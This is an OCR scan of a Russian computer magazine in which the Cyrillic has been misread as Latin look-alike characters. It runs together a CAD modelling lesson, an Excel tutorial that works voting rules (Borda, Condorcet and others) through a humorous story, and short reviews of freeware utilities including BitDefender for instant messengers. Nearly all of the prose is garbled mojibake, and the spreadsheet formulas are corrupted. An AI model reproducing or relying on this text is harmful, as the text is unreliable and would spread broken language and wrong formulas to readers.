NePBON OTHOCUTENLHO NNOCKoCTH Npoekuvin Crpasa.

Conpsaxenune KOHUEHTDUYHOCTE MEXAY OCbIO M OTBEPCTU-
em B Kpbiluke AOBEpWWT peno (puc. 8).

MoxHO €Ka3QTh, YTO HUXHRS M OCHOBHAS 4ACTb MOAENU
yTIora 3akoHueHa. Bnepeau HOC XAyT pydka U 3amOK.

Umo oBue2n MeXqQy yanoM U 3aMKoM?

MoBHUMATENLHEE W3YYMB 3AMOK, MOXHO NPUATKA K Bbl-
BOAY, YTO OH COCTOMT M3 HECKONLKWX AETAned — CTOW-
KW, TONOBKU, KPKOKQA #“ MAOXOBUYKA, TOK)Ke MOXHO npen-
NOAOXMUTL, Y4TO TOKOW 3AMOK MOT Gbl MCNONL3OBATLCH B
PA3HbIX yTiOrOX, a MOXET, U HO NeYHbIX ABepuadax Mnu euie
rae-Hnbyas. CneposatensHo, 30MOK — 3TO rPyNnNa AeTa-
new ¢ onpeneneHHuMU GyHKUMAMKW. TOKME TpYMnbl B TEX-
HWKE NPUHATO HA3bIBATL y3namu. [lpyrumu cnosamu, ysen —
370 4acTe n3genusa. Takum 06pPA30OM, HAW YTIOT COCTOUT
M3 HECKONbKMX AeTaned (Kkopnyc, Kpsilwka, ABe OCK), ABYX
Y3NOB {30MOK WM pyyka), M HECKONLKUX kKPenexewn (3akne-
nok).

MopenMpoBaHue 3amMka HE AONXHO 3QHATE MHOTO BPE-
MEHMW, TAK KaK BCE €ro AeTanW o4eHb npocTue. Hanpumep,
KPIOK — BbITAHYTsIR npoduns (puc. 9).

Crovika — aBHO Teno spawennsa. Ho mbl noigem apyrum
ayTem u cgenaem ee W3 NBYX 3NEeMEHTOB: BbITAXKH C YKNO-
Hom B 12° u kynona paanycom 10 mm (puc. 10).

3amok  NpuxoauTCs
4ACTO OTKPbLIBATL WU 3AKPbI-
BATb, ﬂOaTOMy HEYONBK-
TENBHO, YTO BMECTO Aepe-
BRHHOW PYYKM MAXOBMYKQ
TOPYMT 3AKOMNYEHHbIM A0~
GenbHbA rBO3aL — SBHbINA
NPU3HOK PEeCcTaBPALMY.
Mebl ¢ Bamun n3obpasum
4To-HMBYAL NoW3swHee,
Bmecro reosns y Hac By-
AET 3NEraHTHAA OCb C HA-
6aNaOWHUKOM, KOTOPLIN
Bynet dukcMpoBATL XOTb
n 0BBLEMHYIO, HO TPALMO3-
HYIO PYYKY M3 A0POroro
aepesa (8 nogospesal,
4TO OPMIUHANLHAS Py4Ka
NOTEPSNACh, A rBO3AbL HA-
rPEBANCA He MeHbLE YTIO-
ra). Oce — 370 70 xe
cTonka, Tonbko 6e3 ykno-
HQ, O OEPEBRSHHAA Pyy-
KA — KIQCCUYECKOE TENO
gpauenus (puc. 11}

Onuceisate conpsxe-
HUA B Yy3Ne «3aMOK» HeT
HEOBXOAMMOCTH, TAK KaK
OHW ouesnaHbl. EanHcteen-
HOR AeTans 3amKa, KOTO-
pos 6yneT cO30aHA B KOH-
TekcTe scen cbopkn — ro-
noska. [lotomy 470 Tak
MOXHO PA30M 3040Tb M
€e MECTONONOXEeHUe, U
pa3mepsl.

B cneayiowmnit pas mbl
3QAMEMCS BTOPbIM SNEMEH-
TOM «OPYXECTBERHOTO WUH-
Tephencar — Pyvkon.

_B Puc.11 Pyuka 3amka

X




Camacmpoi

Muenue GonbuluHcmea

Omutpnn ENBHAHMHOB

Mano KTo 3HaEeT, YT y CaMOro 3HaMEHUTOr0 POCCMACKOro nporpamMmycTa Bacy [NynkHa ects OBOOPOAHBIN
6par — ykpauHcku nporpammncT (ets [NaToukmH. [Ja-aa, TOT cambii, KOTOPbIY CoHWKoB cunTan. [leta
roB3pocnen, v Tenepb OH Cam PELUaeT, Korga eMmy cnatb, Kyga WATW W 3@ Koro ronocosats. B obuyem,
HeyauBUTENbHO, YTO B OAHY NPEKPAacHyt BEcHy OH okasancs Ha Esposugeruvn.. OH Tam co MHOrUMU

f103HaKOMUWIICA.

pacCTe, KOraa NONAraeTca XeHUTLCA. BOpM-

| wT 3HOK 747, Byner nobeantenem. Takum obpa-
| 30om, nobeautenem No NPasuny NLBOBAH RBNA-

“ ano cka3ats, 4to [lets Buin yxe B TOM BO3-

QHTOB Y Hero 6bino ax veTsipe (Ans, Buka,
Okcana v Ons), Tak 410 cnenats BHBOpP
emy BbINO B YeTHIPE PA3Q TAXKENEE, YEM YKPAMUH-
ckomy Hapoay ©. K nemy-to Meta u pewwnn o6-
PATUTLCA: 3HAKOMMI CBOWUX MOAPYI €O CBOWMMM
HOBBLIMM AADY3bAMU, O NOTOM PACCNPALUMBAN BCEX,

etcs Ona (pue. 3).

Kuesnare ctann BO3paxath: «ITO Henpa-
sunsHo! Ong Habpana meHbLle NoNOBUHLI TONO-
cos! Hopo nposoonts «BTOPOHR Typ» C ABYMA
«KOHAWAATKAMUY, HOBpaBwWUmK Hanbonswee
YUCNO ronocos B «nepsom Typex! Kro nobeant

KQKQS AeByWKa um Donbwe NoHpaBUNacs.
[NaTepo neBOBAH CKG3QANU, YTO NyylLe

BO «BTOPOM Type», Ta u Byaer nyswe scexl»
Y7066 ONpenenuTs ABYX HEBECT, HA-

scex Ons, uyte xyxe Buka, Ha TpeTtbem
mecte y Hux Beina Okcara, o Ha nocnep-
HEM AHs. rleTﬂ 3annUcan nx MHeHue cne-

6paswmnx HaWBONbLIEE YUCAO TONOCOB
B NEpBOM Type, BBEAEM B Auefiky H2

dopmyny

aylowmnm o6pasom: Ona>Bura>Orca-
Ha>AHA. [POE KMEBNAH CHATANW, YTO:
Onsa>Buxa>Aua>0Okcana. Y NATEPLIX XQPb-
KOBYOH MHeHue abConiTHO He coBna-
AANO C NbBOBAHAMMU. AHA>OKCcaHa>Bu-

=ECNU (F2>=HAUBONBWUN ($F$2:
$F$5;2):1;0)
Q 30TeM C NOMOUWbIO MAPKEPA 30NONHE-
HWMA CkOnupyem ee B averkn H3-H5. Te
HEBECTH, HANPOTUB KOTOPLIX CTOMUT « 1y,

ka>Onsa. HakoHew, YeTBepO 0LeCccuTOB
CYMTANKU, 4TO: OkcaHa>Buka>AHA>0Onga.

Habpanu Haubonbliee YO ronocos B
nepsom Type. Takum obpasom, 80

Ons xpanenns u o6pabotku nony-
yeHHon wHdopmaummn lNets pewmn wnc-
nons3osaTs Microsoft Excel 2000. B

sTOpON Typ BbX0AaT Ona n Ans (puc. 4).
A ckonbko ronocos Qns u Aua Ha-
HepyT Bo BTOpOom Type? Chauyana Ho-

ctonbel A OH BBEN MMEHA «KAHAMAA-
TOK», B CTPOKY 1 — KOAUYECTBO «M3Bu-
paTtenen», a HQ NepeceyYeHun CTPOoK M
cTonbuos ykasan MecTto, KOTopoe, Ao

A0 «OBHYNWUTEY TONOCA TEX, KTO HE BbI-
wen 8o sTopou Typ. [ns 3toro 8 auei-
Ky I2 BBenem dopmyny

—B2*5HS2

MHEHWIO €ro Apy3en, 3aHUMAET TA 1u
wHas noapyra {puc. 1). Hanpumep, ec-

C nomouisio Mapkepa 3anonHeHus
cKkonupyem €€ B aYenkn J2-L2, 3aTem
B Ayeikax I2-L2 sce aHCOMOTHbIE

M Ha nepeceyeHnun ctpokn 4 (Ok-

cana) u ctonbua ¢ (3) ctout undpa
4 (suerika C4), To 370 03HAYOET, 4TO
Tpoe apysen [letn craeat Okcany

=ECTAFS>=HAARONBIA AR 32 $F 6. 201,

CChINKWM C NOMOLLBIO KNAaBMUWU F4 No-
MEHAEM HQ OTHOCUTENbHbIE W, HOKO-

5 3 5 4/Kon-so|Mpasuno 1|1 Typ HEL, Bbidenum suekkn I2-L2 U C No-
8 + 1 MOULLIO MOPKEPQ 3ANONHEHUA CKO-
0 0 | nupyem dopmynel BNNOTL NO AYeek
4 0 | I5-L5. Takum o6pasom, ronoca Bu-
5 j kn 1 Okcanbl Teneps POBHLI HYMIO

HQ JeTBepToe mecTo. Takum obpa- Ona 1144

30M, B CTONBLUE B XPAHUTCH MHEHUE Buka 2(2!4/2

NbBOBSAH, B CTONBUE C — MHEHWE KK- Okcaval3 4 2 1

esnsH, B CTonBue D — XAPbKOBYAH, Ans: 4313

8 E — ORECCUTOB.

[MeTts nokasan nonydexHyo Tab- Puc.4

nuUy CBOMM npusTensm. «Hy u 4TO MHe Tenepb Co BCEM 3TUMm
aenats? — cnpocun oH. — Kak onpegennts, kakas nesyw-

KQ BCE-TOKM Nydweds

JlbBOBAHE Npeanoxunu cneaytowee npasuno obpaboTkm
NONy4YEHHBIX Pe3ynsTaTos. [Ing KAXZOW NOTEHUMANLHON He-
BECTHl NOACHATATH, CKONBKO YENOBEK CTABUT €€ HO NEPBOE
mecto. Kotopan Habepet Gonswe Bcex ronocos, Ta M No-
6ennr. %

Ina noacueta ronocos, Habpanuex Oned no npasuny
NbLBOBSAH, B A4eilKy F2 BBeaem Gopmyny:

=CYMMECJIM (B2:E2;1;$B$1:$ES$1)
a 3aTeM C NOMOWBID MAPKEPA 3ANONHEHUS CKONUPYeEMm ee
B syenku F3-F5. [onoca, HO6pOHHbIe BCEMU «KAHOAWMOQATKO-
MM, NOKA3OHL HO pMc. 2.

[lns onpenenenns nobeantens No Nposuny NLBOBAH BBE-
4eM B Auerky G2 dopmyny

=ECTIU (F2=MAKC ($F$2:8F$5); "+7;"")
a 3aTem ¢ NOMOWBID MOPKEPQ 3ANONKEHUA CKONUpYem ee
B AuerkM G3-G5. Ta «KQHAMAATKA», HANPOTHUB KOTOPOMU CTO-

(pnc. 5).

Teneps HOQO NepepacnpeaenvTs
MECTa cpeau Beweawmvx 8o sTopon Typ Onn u Ann. Hanpu-
Mep, ceiuac 4eTsepo OAeccMToB BynyT CTABUTL AHIO yXe He
HO TPEeTLE MECTO, HO Ha nepsoe, a Onio — He Ha ueTBepToeE,
HO Ha eTopoe. [na 3Toro Beenem B suerky M2 bopmyny

=ECNM(I2=0;0; ECMU (I2=HAUBONBUUA ($I$2:$I55;2)

F1:2))
C NnOMOLWBIO MAPKePa 3QNONHEHUS CKONUPYEM €€ B AHEei-
KM M3-M5, 3aTem B s4yeikax M2-M5 Bce abBCONOTHLIE CCbin-
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KM C NOMOWBIO KNABMWKM F4 noMeHsem HO OTHOCUTENbHbIE
W, HOKOHEL, BLIASNUM SYErKM M2-MS U C NOMOLLBID MapKe-
PG 3anonHeHus ckonupyem Gopmynbl BINOTh 40 AYeek P2-P5.
Takum o6pasom, mecta mexay Oned n AHel Teneps nepe-
pPACAPENEnUAUCE TaK, KAK NOKA3AHO HA puc. 6.

[Mo6eanTtens BO BTOPOM Type ONPEAensetcs TAKXe no
NPABUAY NLBOBAH: ANA KOXAOW M3 IBYX HEBECT MOACYATHIBO-
eTCs, CKOMbKO YeNOBeK CTABUT €8 HQ NepsBoe MecTo, W KO-
Topas HabepeT Bonbwe BCcex ronocos, Ta u nobeant. Lns
3TOro BBEAEM B Aueiky Q2 dopmyny

=CYMMECNU (M2 :P2;1;$B$1:$ES1)

Q 30Tem C NOMOLBID MAPKEPA 3ANONHEHUS CKONUPYEM €€
B sueiku Q3-05. lonoca, Habpauune One n Anven 8o
BTOPOM Type, NOKA3aHbl HA pMc. 7

-" “CYMMECITIME P53 1,3881 $ES1)

S BlCIDTE [T FD qm
Mpasuno 1[1 1y

+

p
1
0
0
1

OO =
woo -
= = -
W oo

8
0
4
5

[na onpegenenus nobeauTens No NPABMIY KMEBNAH BBE-
AEM B fa4erky R2 dopmyny
=ECNU (Q2=MAKC ($Q$2:$Q85); “+";"")

Q 3aTem C NOMOUWBID MAPKEPAd 3AMNONHEHNS CKONUPYEM €6
B Auelkn R3-R5. Ta «KQHAMAATKA», HONPOTUB KOTOPOW CTO-
uT 3Hak "+, Bynet nobegurenem. Takum obpaszom, nobe-
auTenem no npasvny kMesnsH ssnsetcs Awa (puc. 8).

«Huuero cebe rnokn, — nogyman Mets. — Mo npasuny
nesossk ayqwe Ons, a no npasuny kmesnsH — Axsly Ho Tyt
BMELWONUCE XAPLKOBYaHE: «Bbl coBEpWIEHHO HE yuuTbIBOETE,
4TO y PA3HbIX MECT PO3HINA «Bec»! [JasanTe nocnegHemy mec-
Ty npucsoum sec 0, npepnocnearemy — Bec 1, sTopomy —
2, nepsomy — 3. M noacuntaem, ckonsko ronocos Habepet
KAXAOsS HEBECTA C y4€TOM BECOB. Y KOro «ec» Oynet 6onb-
we BCEex, Ta 1 ny4wasnly

MeTa pewmn, 4TO NPOMEXYTOUYHLIE
PE3YNbTATH BLIYMCIEHWI NO NPABUNY
1 n 2 moxHo yxe ckpbiTs. [ns 31010

a 30Tem C NMOMOLLBID MAPKEPA 3QNONHEHUA CKOMUPYEM ee
BANOTL 4O f4eikn V5. Pesynstat nokasaw Ha puc. 10.
Insa nopcuveta «seca» Onu BBEAEM B AYeiiky W2 dopmyny
=CYMMIIPOM3B(S2:V2;$B$1:$ES$1)
O 30TEM C NOMOLLBID MOPKEPO 3ANONHEHWA CKOMMpyem ee
B suelikn W3-W5. «Beca», HaBpaHHble BCEMM «KAHAMAATKA-
MW», NOKA3aHL Ha pue. 11,

pa Em il

B Puc

[ns onpepenenns nobeputens MO NPABMNY XAPbKOBHAH
BBEAEM B fueiiky X2 dopmyny
=ECJIM (W2=MAKC ($W$2: $WE5) ; “+";7")

Q 3aTem C NOMOLLBID MAPKEPA 3AMNONHEHUs CKONUPYEM €e
B Aueliku X3-X5. Ta «kaHAMAQTKa», HaNPOTHB KOTOPOW CTO-
WT 3HaK “+#, Byaet nobeantenem. Takum obpasom, nobe-
BUTENEM NO NPaeMNy xapbkoByaH sensetcs Buka (pue. 12).

Bec |NpaBuno 3
24
24 &
27
22

A Puc.12

«9 porapmisalock, — noayman llerts, — kakoe npasuno
NPeanoXar Cenyac OAeccuTH...» «Bbl Takn coBepuweHHo npa-
Bbl — oTO3BONUCE ogeccuThl. — 3adem obuxaTte OxcaHoy-

ky! Ona 6bina nyswen, Axs 6eina nyswen, Buka Beina nyy- |

wen... A uem Hawa Okcanodka xyxedl [lasanTe ycTpoum
ay3ns! Onvn Ha oavkl Kro nobeaunt y Bcex oCTanbHbIX, Ta 1
nyswasn!y

MeTts yxe noutw npeactasun cebe «Mortal Combat: Crazy
Ukrainian Girls Edition», Ho oaeccuts npogomxunu: «Huka-
koro mopaobos! Bosemem, Hanpumep, Onto u Okcary. Onto
CTABST BbiWLE, YEM OKCGHy, S NbBOBAH WU 3 KMEBNAH — BCEe-
ro 8 yenoeek, a OkcaHy crassT Buiwe, Yem Onio, 9 yeno-
Bek {5 xapskosuaH M 4 ogeccuta). [103TOMYy MOXHO CKA3ATS,
uto Okcana soimrpeisaet y Onu co cyetom 9:8».

Metsa ckpbin cTonbuUbl S-W, LOBABMN B NEPBYIO CTPOKY UME-
HO geBylek, a Afif NOACYETA KONUYECTBO YENOBEK, KOTOPLIE
cTasat Aro Boilwe, yem Onio, BBEN B S4YENKY Y5 CAEAyIOLLyIO
PopmMyny mMaccuaa:

=CYMM (ECNN (B5:E5<$B$2:$E$2; $BS$1:5E$1))

Y1o Takoe GOpMYNa MACCMBA, U Yem
OHQO OTAMYaETCH OT Apyrux Gopmyn, BOC-
TATOYHO NOAPOOHO ONUCAHO B CNPABOY-
HoM cucteme Excel. OrmeTum Tonbko, 4to

OH Bhigenun ctonbey F, 8 MEHIO Jan-
HE& Bbl6p0ﬂ nogMeHIo I'pynna n
CTPpYXTYypa, Q B HEM — MYHKT Ipyn-
nuposaTs. [1pu 3ToM Hap cTonBuom
G NORBUNCH MANEHBLKUI KBAAPATHK CO

AN BBOAQ TAKON GOPMYMbl MCNONL3YETCH
KOMBMHAUMA KNOBUW CTRL+SHIFT+ENTER,
M NpU 3Tom B cTpoke dopmyn 31a dop-
myna maccvsa Byaet 3aknodeHa B buryp-
Hele ckobku {}. MpuseaerHas soiwe Gop-

3Hakom ~-7. [leta Haxan HaO Hero
MBILLKON — cTonbeu F vcyes, a Hap

Mmyna maccusa «pabotaeT» cnepyiownm
0BPA3OM: OHA «CKAHWPYET» AMANA3OH

cTonbuom G NORBUNCH MONEHLKWI
KBOAPATUK, HO YXE CO 3HOKOM "+
Axanorudssim o6pasom Nets ckpsin
ctonbusl H-Q. Peaynstat nokasoH Ha

| mecT Aru (B5 : E5), CpaBHWBAA €r0 € ana-
nasoHom mect Onu ($B$2: $E$2), 1 ec-
MM MECTO AWM OKA3LIBABTCS BLIWE, YEM
mecto Onu (aHak 7<), To Kk cuety AHn

puc. 9.
Ins reHepauvu Becoe No Npasu-
Ny XOPbKOBYAH BBEAEM B AYEkKy S2

poBaBARETCA COOTBETCTRYIOWEE YMCNO
W3 AMANQ30HA ronocos ($B$1l: $ES$1).
3aTtem 31y dopmyny MOXHO C NO-

dopmyny

=4-B2

MOW KOMIMbIOTEP

-

MOLLBID MOPKEPA 3ANONHEHWS CKOMU-
POBATL B AYENKW Y2-T4. HakoHeu, aHa-
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Pesynbrat nokasan Ha puc. 13. 3pecs, Hanpumep, wicno 12
o3HauaeT, 4To Buky cTaBaT BhiweE, Yem AHo, 12 Yenosek.
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[ns noacueta konuuectea nobea Onun ssenem 8 suenky
AC2 dopmyny maccuea (He 3a6bBONTE, 4TO BBOA POPMYNL)
ocywecTsnaercs komGuHaunen CTRL+SHIFT+ENTER)

=CYMM (ECNTM (Y2 :AB2>CYMM ($BS$1:$E$1)/2;1))

Q 3aTem C NOMOLLBID MAPKEPO 3ANOMHEHWUA CKONUPYEM ee
8 A4enkn AC3-ACS. Pesynstar nokasan Ha pue. 14

[ns onpepenexns nobeautens NoO NPABUNY ORECCHTOB
BBEOEM B SuUEKKY AD2 dopmyny

=ECTM (AC2=3; ~+7;"")

Q 3aTem C NOMOLILIO MAPKEPA 3AMOMHEHWS CKOMUPYEM ee
8 AueikWM AD3-ADS5. TG «KQHOMAATKA», HANPOTUB KOTOPOM
cTouT 3HaKk “+7, Bynet nobeautenem. Takum obpasom, no-
6eputenem no npasuny ogeccutos ssnaetca Okcarna. Ckpo-
em cTonBubl Y-AC M B3rNAHEM HO OKOHYATENbHLIA Pe3ynsTaT
(pmc. 15).

[eTs NOHAN, 4TO «KONNEKTUBY» EMY HE NOMOXET — AN KO-
XAOW HEBECTHI HAWNOCH TAKOE NPABUNO, NO KOTOPOMY OAHA

Ocoﬁnﬁalymoaunnﬂ
Mopony, O6onoHi, KypeHisku, AkageMmicteyka 464-7185

6rina nydwe BCex octansHeix. «fipuaeTtca ycTpouts rapemy, —
pasmbiwnsn MNets, rynsa 8 oouHouecTse nNo sevepHemy Kne-
By. W 1yt oH scTpetun EE, Ty eanHcTBEHHYIO, KOTOPAA MHO-
FAQ NPUXOAMNGa k Hemy B8O cHe... OHA cmoTpena Ha Hero w
ynuiBanacs... B pykax ee 6bina knura «Excel ans yaitnukose».

flacnecnosue

3neck Excel npumensnca ans aHanu3a MHEHUS KOMNeKTH-
Ba NO pasnuymsim Nnpasunam. CNeuranucTam No TEOPUK Npu-
HATUA peLleHUi UCNONL3OBOHHBIE NPABUNG 1—4 n3BECTHH
KGK MPABUNG OTHOCHTENLHOTO BONLWUHCTBG, ABCONIOTHOTO
Bonbwurctea, bopra u Kowpopce cootsetcreenHo. Hns
CEpPLE3HOTro M3yYeHns Npobnem, BOZHMKAIOWMX NPU APUHS-
TUM KOMNEKTUBHBIX PELUEHUT, MOXHO NOPEKOMEHAOBATL KHU-
ry [1]. Xots nepeoe 3HOKOMCTBO BCE-TAKW NyHLWE HA4ATL C
Honee NPOCThIX, HO HE MEHEEe MHTepecHsix cratei [2, 3],
KOTOPLIE MOXHO CKAYATb U3 CeTu.

Nureparypa:

1. Mynen 3. KoonepatmsHoe NpUHATUE pelleHWiA: AKCUOMBI
u mopenu: Mep. ¢ anrn. — M. Mup, 1991, — 464 c.

2. Maxomos B. [lemokpaTtis ¢ ToukW 3pexns matematiku //
HayuHo-nonynspHeii bU3nko-maTeMOTHYECKWIA XypHAN «KBAHTS,
1992. — Ne 9. — C. 16—20 (http://kvant.mccme.ru/ 1992/09/
demokratiya_s_tochki_zreniya_m.htm}.

3. Maxomos B. [lemokpaTtus ¢ TOUKM 3peHus matematuky //
Hayuno-nonynsapHeii drUanko-matematudieckui xypHan «KesanTs,
1992, — Ne 10. — C. 2=7 {bttp://kvant.mccme.ru/1992/10/

demokratiya_s_tochki_zreniya_m.htm}.

1. 464-8262
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llonesnas comuuka. Bmyck a2

Ceprenn YBAPOB

sergei_uvarov@mail.ru
ssoftnews@mail.ru

MpueetcTayro nouyntatenen «llonesHon cohTunkuy! XKenaete Bectu
YHET M3MEHEHWA HE NoKanbHbix guckax — gna sac DiskChange. buitb
B Kypce nocTasneHHbix 3aaa4 — nonpobynte Desk Task. A ¢ nomoLsro
BitDefender Bbi 3aLumtuTe cBOu VIHTEPHET-NENOXEPL! OT BUPYCOB.

DiskChange v 2.1

Mpyu GONLLIOM KONUMECTBE PA3NUYHBIX
ONePALMi, BHINOMHAEMBIX MONE30BATENEM MPW
pabore ¢ $arnamn 1 NANKamu, NOAAraTLCs
HO COBCTBEHHYIO NAMATH HE CIIMLLKOM XOHET-
€A, NOCKONbKY HE BCEFAA MOXHO 3ANOMHUTH
TEKYLEE PACNONOKEHNE HOBOFO MACCHMBA
OQHHBIX W KOHKPETHLIA dann. KoHTponupo-
BATb BPYYHYKO NPOUCXOAALUME M3MEHEHWR TOK-
ke Her cmeicna. Jlyulwe 803N0XMTE PYTHH-
Hylo paboTy No uameHeHuo GaNNoBON CHC-
TEMbI HO KOYECTBEHHLIM NPOrPaMMHBLIA NPO-
ayxkT. OfHum 13 NPOCTHIX BAPUAHTOB /1St HA-
WX LUener MOXeT Nocnyxute Hebonbuias
ytunuta DiskChange. Ona He Tpebyet wn-
CTaNNSLMKW, AOCTATOYHO PACMAKOBATL APXMB
{cm.  hitp:/ /www.alonswolfsoft.narod.ru/SOFT/
dchange.ror, pasmep 221 K6, freeware} u 3a-
nyctuts ytunuty (pue. 1). Buibupaete noru-
HECKWE AUCKM, fiNA KOTOPBIX HEOBXOMMMO BEC-

DiskChange v. 2.1
P ] e ——— O (125 & 5
ve I'p IE i(‘ Hagoit (+ JonucaTs

Cum;; ;;&a O npofpanne '

AHANMS UIMEHEHMIA I Bbixog I
|

Cranvposano 8536 nanok v 42082 dannos (100%).

Puc.1

TH YHET NDOUCXODALLIMX M3MEHEHWIA (TOKHX KOK
0060BNEHUE, YOANEHWE, U3MEHEHWE PA3ME-
pa GAANOB), BHOCHMBIX NPU UHCTANAAUMM NPO-
TPOMM MK B pE3ynbTaTe NEUCTBMI NOML3O-
satens. Teneps OCTAETCS 30NYCTUTH NPOLIECC
aHanM3a norvueckmx auckos. ns kaxporo
ancka Bynet cosnaH ceo 06pas co cnUckom
$aANos, 1 B CNydae NIBOTO U3MEHEHUA MOX-
HO Bynet nerko oTcneanTs Tekywee pacno-
noxenve gannHsix. [py aHanuse npovsowea-
LWIMX WIMEHEHMI CO3aETCH BAin OTYETA, Ky-
A0 MOXHO NMBO BOMMCHIBATL PE3YALTATH MO~
cnegHerc anamaa, nMbo Kaxawlii pas oun-
WaTh erc Nepea 3anyckom HOBOTO.

leskTask 0.30

Bxogswwmi B coctas Microsoft Office Sys-
tem Microsoft Outlook 2003 sensetca mHo-
roGYHKUMOHQMbHEIM CPEACTBOM ynpaosne-
HUA MHDOPMALIMEN, OPUEHTUPOBAHHLIM HQ
RenoBoro venoseka. [Nporpamma umeer s
CBOEM AKTHUBE NOYTOBLINA KAMEHT, KONEHAAPS,
MEHEIXED YNPOBNEHWS 30A04AMM U PA3BK-
Thish MOLYMb YNPOABAEHUA KOHTAKTAMM, W BNON-
HE CNOCOBHA 3ameHUTs COBON Pa3PO3HEH-
HbIE NPOAYKTH CTOPOHHUX PA3PABOTYUKOB.

MO KOMMbIOTEP

Ounrum 13 moaynen nporpammsl, 3bdekTns-
HO MCNONb3yembiM B BuaHece, SBNRETCH me-
HELXEP 30404, NO3BONAIOLUMIA KOHTPOMM-
POBATL PA3NMYHEIE NPOUECCH B KOMAAHWH
noboro pasmepa. Craptosoe okHO Mi-
crosoft Outlook no ymonuaruio otobpaxa-
€T TEKYLUME 3ANNAHUPOBAHHLIE BCTPEYM, 30-
AA4M U KOMMUECTBO NPUIEALLIMX N1cem. HYTo-
Bbl HOXOANTLECA B KYPCE TEKYLWIErO NONOXe-
HUS aen, HeoBXOAMMO BCE BPEMS 3ANYCKATbL
MS Outlook. Hepasro poanswasca © ytu-
suta DeskTask nossonser noakmouatses k
Outlook’y u otobpaxats Tekywee coctos-
HUE 30804 U BCTped npsmo Ha Pabouem
cronel Mpu 3tom gaxe ne Tpebyerca no-
ctosnno pepxats Outlook B 3arpyxeHHom
coctosHun. Ha Pabouun cron suisogstcs
AQHHBIE M3 KQNIEHAOPA 30 NoCneaHve 7 AHew
(pmec. 2), a Takxe He3aBEepLIEHHbIE 304AYM
(NpY BKIOYEHWM COOTBETCTBYIOLIEN ONUMU —
Takxe W 3asepwenHsie). [JonHbie umeroT
NPO3PAYHbIA HOH, AOCTYNHO UMEHEHHE TH-

R it -
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Puc.2

no WwpudTa U ero uUBeTa, o Takke Pocno-
noxexve B MoBoM 4acTv okHa.

YTUAKUTA NOCTOSHHO PA3BUBAETCS, Te-
kywas sepcus — 0.30 — poctynHa ana
3arpy3kuM  C htip://www.carthagosoft.net/
desktosk.zip. Paamep 330 K6, freeware, noa-
nepxusaetcs scs nuHenka Windows, uH-
crannsaumu He TpebyeTca.

BitDefender far 1C0, MSK/Yahoo!
Messengers

CeroaHs, KOTAQ HANWCAHUE BUPYCOB CO-
CTOBNAET Uenyk 0BNaCTL ABATENLHOCTH ANA
30KOHOHenocywsix nporpammmnctoe ©, su-
PYCbl NOCTENEHHO 3ANONHSIOT BCE HOBLIE W
HOBbIE HUWUW, BbIHYXAOA KOHE4YHbIX NMONb30-
saTenen subMpaTh mexay 6e30NACHOCTHIO M
ynobcrsom pabotsl. K coxanenmio, Bupyco-
nucateny pobpanucs v O TAKOTO CEKTOpo
pbiHka, kak WntepHet-nenpxeps. bnaroaa-
PR NORE3HbIM ONUMAM OBMEHT HANNOMY ME-
XAy NOMbIOBATENSMU NEMLKEPOB BOHUKAET

PEQnbHAs Yrpo3a «HAPBATLCA» HA BUPYC.
OpmuH 13 M3BECTHBIX PA3pabOTUUKOB AHTK-
supycHoro codra komnanus BitDefender npen-
naraet Bcem Nonk3osarenam MHTepHeT-new-
AXEPOB 3ALUMTUTE CBOM MPOTPOMMBL OT BU-
pyCcHbix HawecTsui. Bapuant ans Ukteprer-
neixepa ocHOBAH Ha Hase kommepHecko-
ro antuempyca BitDefender Professional
conepxvT Moaynu 0BHaPyXeHus BUPYCOB ¢
supycHyto 6a3y. MHCTaNNALUMS yTUAMTL CTAH-
[APTHO, KoMNNekT BkaouaeT 8 cebs moayns
OBTOMQTHHECKOTO OBHOBAEHMS Yepes MHTep-
vet (pue. 3). Yunuta othuuaeTtca mMuHuma-
NU3MOM, NOMHOCTBIO HE3AMETHA (BULEH TOMb-
KO 3K3GWHWK B NPOLECCOX), ORHAKO B Cy-
yae 0BHAPYXEHWW BMPYCA YTUNMUTA NPU No-
MOLLIM BCTHIBIBAIOLUETO OKHA COOOWIAET O €10
HONW4WKM, NO3BONAET 3aBNOKMPOBATL BUPYC
v ynanuts. [ockonsky pacnpocTpaHeHme Bu-
pycos no cetam ICQ, MSN Messenger u Ya-

v BiDelender for ICQ 1s enabled
I Inform BitDefender Lab about this vius

ot 1)
Cancel J

v bitdefender com Upgiade |

| N

hoo! Messenger npoucxoouT NO-PA3HOMY,
KOMNAOHWA npeanaraet gns KAxXaoro nenoxe-
pa CBOIO BEPCHIO.

Pacnpoctpansercs npoaykt Becnnar-
Ho, pabotaet noa ynpasnexuem Windows
98-XP, 3arpysute sepcuio ans 1CQ
MOXHO C http://www.bitdefender.com/bd/
downloads/kits/kit_icq.exe (2731 K&), ans MSN
Messenger — c http:/ /www bitdefender.com/
bd/ downloads/kits/kit_msn.exe {2718 K6), ana
Yahoo! Messenger — ¢ hitp://www.bitdefender.
com/bd/downloads/kits/kit_yahoo.exe
(2775 K6).

SageThumbs 1.0.0.12

B 3asepuwenne BbiNyCkO pPACCKaxy O
HEeBOMLLWON YTUAMTE, PACLUMPAIOLLEN BO3-
MOXHOCTU KOHTEKCTHOTO meHto [TpoBoa-
Huka. [ocne MHCTanNaUMK NONb3OBATENIO
Byner AOCTyneH NPEeaBaPUTENbHBIA NPO-
CMOTP rpadmyeckux GAUNoB NO KIUKY HA
daiine Nnpasoi KHONKOH muilwn. [Tporpam-
MOM NOAAEPXUBAETCA NpocmoTp Bonee
100 tunos rpaguueckux Gainos ¢ 8o3-
MOXHOCTBIO 30AaHVS PA3MePd NPEaBapH-
TensHoro u3obpaxenus. MNpu npocmoTtpe
npessowkn © BeBOAMTCS €€ PO3MEp U
UBETHOCTL. M3 ONOMHUTENBHBIX BOZMOX-
HOCTEW NPOrPAMMb:

v xonuposatve B Bydep obmena;

v’ ycraroeka 8 suae ¢orna Pabouero
cTono;

¥ 0TNPaBKa M306PAXEHWA UK €ro Npe-
BbIO MO NOMTE;

v BO3MOXHOCTL OQHUM KNUKOM NPOU3-
BECTU KOHBEPTMPOBAHUE OTKPLITOTO Hai-
na s dopmatel gif, bmp, jpg.

3arpyanTs yTuUaUTy MOXHO C http://
raspopov.dem.ru/down.ohp2sagethumbs_
1.0.0.12.exe, paamep 628 K6, freeware,
pycckuih untepdenc, Windows 28—XP.
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YHro6b1 NOHATS, noYemMy cenyHac Ha PbiIHKE NporpamMmMHoro 06ecneyHeHns (M MEEMO Te, L0 M3EMOX, 1 novemy
